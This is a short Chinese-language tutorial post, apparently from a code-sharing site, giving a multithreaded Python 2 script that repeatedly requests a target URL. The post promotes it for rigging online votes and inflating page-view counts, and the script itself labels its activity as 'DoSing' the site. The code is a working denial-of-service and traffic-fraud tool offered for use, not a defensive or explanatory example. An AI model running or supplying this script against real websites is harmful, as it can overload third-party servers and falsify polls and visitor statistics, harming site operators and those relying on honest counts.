python使用多线程不断刷新网页的方法

本文实例讲述了python使用多线程不断刷新网页的方法。分享给大家供大家参考。具体如下：

这段代码可以开通过个线程不断刷新指定的页面，可用于刷票，增加网页访问量等等，不用再去按F5了

import thread
import urllib2
import sys
import time
def usage():
  print \'Usage: python \' + sys.argv[0] + \'  \'
  sys.exit()
def reloader(numthread):
  url = sys.argv[1]
  numreloads = 0
  while True:
    try:
      urllib2.urlopen(url)
      numreloads = numreloads + 1
    except KeyboardInterrupt:
      sys.exit(\'\\nProcess aborted.\')
def splash():
  print \'welcome to http://www.jb51.net/codes \'
if len(sys.argv) < 3:
  usage()
if __name__ == \'__main__\':
  splash()
  print \'[!] DoSing \' + sys.argv[1] + \' with \' + sys.argv[2] + \' threads.\'
  for reloadspawn in range(0, int(sys.argv[2])):
    thread.start_new_thread(reloader, (reloadspawn,))
  sys.stdout.write(\'\')
  dosind = [\'-\', \'\\\\\', \'|\', \'/\']
  dosstat = 0
  while True:
    try:
      sys.stdout.write(\'\\r\' + dosind[dosstat % 4] + \' DoSing...\')
      sys.stdout.flush()
      dosstat = dosstat + 1
      time.sleep(0.25)
    except KeyboardInterrupt:
      sys.exit(\'\\nProcess aborted.\')

希望本文所述对大家的Python程序设计有所帮助。